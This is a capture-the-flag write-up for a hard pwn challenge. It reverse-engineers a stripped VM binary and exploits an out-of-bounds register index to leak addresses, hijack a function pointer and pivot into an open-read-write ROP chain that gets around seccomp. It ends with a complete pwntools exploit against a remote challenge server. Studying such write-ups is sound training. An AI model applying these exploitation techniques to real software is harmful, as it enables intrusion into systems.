16 KiB
Write-up: G-Force
Category: Pwn Difficulty: Hard Description: A custom JIT-compiled VM with a secure sandbox and content filtering.
In this challenge, we are faced with a custom Virtual Machine called "G-Force". The binary is statically linked and stripped, making reverse engineering a bit more involved. We are told it has a JIT compiler and a "secure, sandboxed memory space."
1. Initial Analysis
We start by inspecting the provided binary g_forcevm.
$ file g_forcevm
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
It is a Static PIE executable. This means it contains all its dependencies (no external libc), but it is Position Independent (ASLR is active). It is also stripped, so we have no function names.
Running the binary, we are greeted with a prompt and a help menu:
--- G-FORCE VM v2.0 (Final) ---
4KB Secure Sandbox. Type 'help' for instructions.
> help
--- G-Force Instruction Set ---
General:
MOVI R, IMM : Load immediate value into Register R
MOVR R1, R2 : Copy value from R2 to R1
...
Meta Commands:
execute : Compile and run the current program buffer
info : Dump current CPU state
ram OFF LEN : Hex dump of RAM at offset
debug : Run debug logger
...
2. Reverse Engineering
Using the Ghidra, we analyze the binary to understand the VM's internal structure and how it handles instructions.
The VM Structure & Stack Layout
Analyzing the main function (decompiled at 0x0010ba79), we can identify the variables used to store the CPU state.
undefined8 FUN_0010ba79(void)
{
// ...
undefined1 local_20d8 [40];
undefined8 local_20b0;
undefined8 local_20a8;
code *local_20a0;
undefined1 local_2098 [8192];
// ...
// Initialization
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
// RAM Allocation
// FUN_0012ac00 is likely malloc (or a wrapper).
// 0x1000 = 4096 bytes (4KB)
local_20a8 = FUN_0012ac00(0x1000);
// Debug Function Pointer Initialization
local_20a0 = FUN_00109a22;
// Main Loop
while( true ) {
// ... command parsing ...
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
if (iVar2 == 0) {
// VULNERABLE CALL
(*local_20a0)(local_20a8);
}
else {
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
if (iVar2 == 0) {
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
// ...
}
}
}
}
We see local_20d8 is an array of 40 bytes. This likely holds the registers (A, B, C, D, SP).
We see local_20a0 is a function pointer initialized to 0x00109a22 (the default logger).
Crucially, look at the memory layout on the stack:
local_20d8(Registers) starts at offset-0x20d8.local_20a8(RAM Pointer) starts at offset-0x20a8.local_20a0(Func Ptr) starts at offset-0x20a0.
The distance between the registers array and the RAM pointer is 0x20d8 - 0x20a8 = 0x30, which is 48 bytes.
The distance between the registers array and the function pointer is 0x20d8 - 0x20a0 = 0x38, which is 56 bytes.
Confirming the Layout via info
To confirm that local_20d8 actually holds the registers, we can examine the function responsible for the info command (referred to as FUN_00109cbe in Ghidra).
void FUN_00109cbe(undefined8 *param_1)
{
FUN_0011d2b0("\n--- CPU STATE ---");
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
FUN_0011d2b0("-----------------");
return;
}
This function takes a pointer to local_20d8 as its argument.
param_1[0]corresponds to Register A (Offset 0).param_1[1]corresponds to Register B (Offset 8).param_1[2]corresponds to Register C (Offset 16).param_1[3]corresponds to Register D (Offset 24).param_1[5]corresponds to SP (Offset 40).
The fact that info prints these values directly from the local_20d8 array confirms that this memory region represents the CPU's register file.
Reconstructing the CPU Structure
Based on the memory layout and the info function, we can reconstruct the VM's internal CPU structure on the stack:
struct CPU_Stack_Layout {
uint64_t regs[4]; // Offset 0x00: Registers A, B, C, D
uint64_t PC; // Offset 0x20: Program Counter / reserved
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
uint8_t *ram; // Offset 0x30: Pointer to VM RAM (Offset 48)
void (*debug_log)(char*); // Offset 0x38: Function pointer for 'debug' command (Offset 56)
};
This fits perfectly into our reconstructed layout!
The Vulnerability: Out-of-Bounds Register Access
The instruction parser converts register names to indices.
a-> 0b-> 1c-> 2d-> 3
However, the validation function FUN_001099bf allows letters up to h!
int FUN_001099bf(char *param_1)
{
// ...
if ((*param_1 < 'a') || ('h' < *param_1)) {
iVar1 = -1;
}
else {
iVar1 = *param_1 + -0x61;
}
// ...
return iVar1;
}
If we use register g (Index 6):
Address = local_20d8 + (6 * 8) = local_20d8 + 48 -> This accesses the ram pointer.
If we use register h (Index 7):
Address = local_20d8 + (7 * 8) = local_20d8 + 56 -> This accesses the debug_log function pointer!
This gives us two powerful primitives:
- Arbitrary Read (Leak):
MOVR a, hreads the function pointer into registera. We can then view it viainfoto leak the ASLR base address. Similarly,MOVR b, gleaks the heap base. - Control Flow Hijack:
MOVI h, <ADDR>allows us to overwrite the function pointer with any address we want.
The "Debug" Command
The debug command calls the function stored in local_20a0 (register h). It passes the RAM pointer (register g) as the first argument (rdi).
// Pseudo-code for debug command
if (cmd == "debug") {
// local_20a0 points to default_logger by default
// If we overwrite local_20a0, we control execution.
// The first argument (RDI) is always the RAM pointer (local_20a8).
(*local_20a0)(local_20a8);
}
3. Exploitation Strategy: The Battle Plan
To fully compromise the system, we need to bypass ASLR. Since there is a seccomp filter in place, we will need to use a read/write/open ROP chain instead of just popping a shell.
Discovering the Seccomp Sandbox
While analyzing the binary, we encounter a function FUN_0010b918 that is called early in main. Decompiling this function reveals how the "secure sandbox" mentioned in the description is implemented:
void FUN_0010b918(void)
{
// ...
iVar1 = FUN_001636b0(0x26,1,0,0,0);
if (iVar1 != 0) {
FUN_001161b0("prctl(NO_NEW_PRIVS)");
FUN_00115450(1);
}
iVar1 = FUN_001636b0(0x16,2,local_68);
if (iVar1 != 0) {
FUN_001161b0("prctl(SECCOMP)");
FUN_00115450(1);
}
// ...
}
The function FUN_001636b0 is a wrapper around the prctl syscall.
prctl(PR_SET_NO_NEW_PRIVS, 1, ...): This is called withoption = 38(0x26), which corresponds toPR_SET_NO_NEW_PRIVS. This prevents the process (and its children) from gaining new privileges, disablingsetuid/setgidbinaries.prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...): This is called withoption = 22(0x16), which corresponds toPR_SET_SECCOMP. The second argument2specifiesSECCOMP_MODE_FILTER. This applies a BPF (Berkeley Packet Filter) program to restrict which system calls the process can make.
Because of this Seccomp filter, standard exploitation techniques like calling system("/bin/sh") or executing an execve shellcode will fail (the kernel will kill the process). Instead, we must use an Open-Read-Write (ORW) ROP chain to explicitly open the flag file, read its contents into memory, and write them to standard output.
Step 1: Leak Addresses (Defeat ASLR)
Since the binary is Position Independent (PIE), all code addresses are randomized. We need to find where the code is located in memory.
- Leak Code Address: We copy the function pointer into register
a(MOVR a, h). - Leak Heap Address: We copy the RAM pointer into register
b(MOVR b, g). - Read the Leak: We execute these instructions and use the VM's
infocommand to readReg AandReg B. By subtracting the known static offset of the logger function (0x00109a22) fromReg A, we calculate the binary's Base Address.
Step 2: Construct the ROP Chain and Place it in RAM
We need to call syscall (Linux x64 ABI). The calling convention is:
RAX= System Call NumberRDI= Argument 1RSI= Argument 2RDX= Argument 3
Here is how each command in the chain is constructed:
1. open("./flag.txt", 0)
pop rdi; ret->ADDR_OF_STRING(Pointer to "flag.txt\x00")pop rsi; ret->0(O_RDONLY)pop rax; ret->2(SYS_open)syscall; ret
2. read(3, buffer, 0x100)
pop rdi; ret->3(File Descriptor, usually 3 since 0/1/2 are standard)pop rsi; ret->ADDR_OF_BUFFER(Pointer to writable memory, e.g., offset 0x300 in RAM)pop rdx; ret->0x100(Bytes to read)pop rax; ret->0(SYS_read)syscall; ret
3. write(1, buffer, 0x100)
pop rdi; ret->1(stdout)pop rsi; ret->ADDR_OF_BUFFER(Pointer to where we read the flag)pop rdx; ret->0x100(Bytes to write)pop rax; ret->1(SYS_write)syscall; ret
Place in RAM: We write this entire chain of 64-bit integers into the VM's RAM (starting at offset 0) using the SAVER VM instruction.
Step 3: Find the Pivot
We have a ROP chain sitting in the heap (VM RAM), but the CPU is using the real stack. We need to point RSP (Stack Pointer) to our RAM so the CPU starts executing our chain.
- Find the Pivot Gadget: We identify a "Stack Pivot" gadget. Using
ROPgadgeton the binary reveals a perfect gadget:mov rsp, rdi; retat offset0x000099b8. - Why this gadget? When the
debugcommand is called, the first argument (RDI) is a pointer to the VM's RAM (registerg). - The Trigger: If we jump to this gadget, it will copy
RDI(RAM Ptr) intoRSP. The subsequentretwill pop the first 8 bytes of our RAM intoRIP, starting the ROP chain.
Step 4: Overwrite the Function Pointer
Now that the ROP chain is placed in RAM and we have the address of our pivot gadget, we need to redirect execution flow.
- Target Register H: Writing to register
hoverwrites thedebug_logfunction pointer. - The Payload: We use
MOVI h, <ADDR_OF_PIVOT>to replace the default logger address with the address of our stack pivot gadget.
Step 5: Trigger the Chain
The final step is to execute the hijacked function pointer.
- The Trigger Command: We type
executeto compile our writers, and then rundebug. - Execution Flow:
- The
mainloop calls the function pointer at registerh. - Since we overwrote it, it jumps to
mov rsp, rdi; ret. RDIholds the RAM pointer, soRSPbecomes the RAM pointer.- The CPU executes
ret, popping the first gadget from our ROP chain in RAM. - The chain executes
open,read, andwrite, printing the flag to our console!
- The
4. The Solution Script
Here is the complete solve.py script. It automates the leakage, calculation, and payload delivery.
#!/usr/bin/env python3
from pwn import *
# =============================================================================
# CONFIGURATION
# =============================================================================
OFFSET_DEFAULT_LOG = 0x00109a22
HOST = '87.106.77.47'
PORT = 1378
# Set context (still needed for packing/unpacking)
exe = './g_forcevm'
elf = ELF(exe, checksec=False)
context.binary = elf
context.log_level = 'info'
def start():
# [CHANGE] Use remote() instead of process()
return remote(HOST, PORT)
p = start()
def send_cmd(cmd):
p.sendline(cmd.encode())
def wait_prompt():
return p.recvuntil(b"> ")
log.info(f"--- G-Force Payload Builder (Target: {HOST}:{PORT}) ---")
wait_prompt()
# -----------------------------------------------------------------------------
# STEP 1: LIVE LEAK
# -----------------------------------------------------------------------------
log.info("STEP 1: Leaking Addresses...")
send_cmd("movr a, h")
wait_prompt()
send_cmd("movr b, g")
wait_prompt()
send_cmd("saver a, 0")
wait_prompt()
send_cmd("saver b, 8")
wait_prompt()
send_cmd("execute")
wait_prompt()
# Read the leaks
send_cmd("ram 0 16")
p.recvuntil(b"0000: ")
dump_line = p.recvline().decode().strip().split()
wait_prompt()
bytes_all = [int(b, 16) for b in dump_line]
leak_logger = 0
for i in range(8):
leak_logger += bytes_all[i] << (i*8)
leak_heap = 0
for i in range(8):
leak_heap += bytes_all[8+i] << (i*8)
binary_base = leak_logger - OFFSET_DEFAULT_LOG
addr_farm = leak_logger - 0x75
# Gadgets
addr_pop_rdi = addr_farm + 0
addr_pop_rsi = addr_farm + 2
addr_pop_rdx = addr_farm + 4
addr_pop_rax = addr_farm + 6
addr_syscall = addr_farm + 8
addr_pivot = addr_farm + 11
log.success(f" Leaked Logger: {hex(leak_logger)}")
log.success(f" Leaked Heap: {hex(leak_heap)}")
log.success(f" Base address: {hex(binary_base)}")
log.success(f" Addr Farm: {hex(addr_farm)}")
# -----------------------------------------------------------------------------
# STEP 2: CONSTRUCT CHAIN
# -----------------------------------------------------------------------------
log.info("STEP 2: Construct ROP chain...")
chain = [
# --- OPEN("./flag.txt", 0, 0) ---
addr_pop_rdi,
leak_heap + 0x200, # ptr to "./flag.txt"
addr_pop_rsi,
0,
addr_pop_rdx,
0,
addr_pop_rax,
2,
addr_syscall,
# --- READ(3, buffer, 100) ---
addr_pop_rdi,
3,
addr_pop_rsi,
leak_heap + 0x300, # ptr to buffer
addr_pop_rdx,
100,
addr_pop_rax,
0,
addr_syscall,
# --- WRITE(1, buffer, 64) ---
addr_pop_rdi,
1,
addr_pop_rsi,
leak_heap + 0x300,
addr_pop_rdx,
35,
addr_pop_rax,
1,
addr_syscall,
# --- EXIT(0) ---
addr_pop_rdi,
0,
addr_pop_rax,
60,
addr_syscall,
]
# Send chain
i = 0
while i < len(chain):
send_cmd(f"movi a,{hex(chain[i])}")
wait_prompt()
send_cmd(f"saver a,{hex(i*8)}")
wait_prompt()
i = i+1
# Send string "./flag.txt" at offset 0x200
flag_str = b'./flag.txt\0'
for i in range(0, len(flag_str), 8):
chunk = flag_str[i:i+8].ljust(8, b'\0')
val = u64(chunk)
send_cmd(f"movi a, {hex(val)}")
wait_prompt()
send_cmd(f"saver a,{0x200 + i}")
wait_prompt()
# Execute chain placement
send_cmd("execute")
p.recvuntil(b"> ")
send_cmd("ram 0x00 0x30")
p.recvuntil(b"> ")
log.success(f" ROP Chain placed")
# -----------------------------------------------------------------------------
# STEP 3: ARM & TRIGGER
# -----------------------------------------------------------------------------
log.info("STEP 3: Arming...")
send_cmd(f"movi h,{hex(addr_pivot)}")
wait_prompt()
send_cmd(f"execute")
p.recvuntil(b"> ")
log.success(f" Armed")
log.info("STEP 4: Trigger...")
# Removed input() pause for automated remote exploitation, add back if needed
#input("Press [ENTER] to trigger...")
log.info("Executing...")
send_cmd(f"debug")
try:
# recvall is essential here as the remote closes connection after exit()
output = p.recvall(timeout=3)
print("\n" + "="*50)
print("FINAL OUTPUT:")
print(output.decode(errors='ignore'))
print("="*50)
except Exception as e:
log.error(f"Error receiving flag: {e}")
p.close()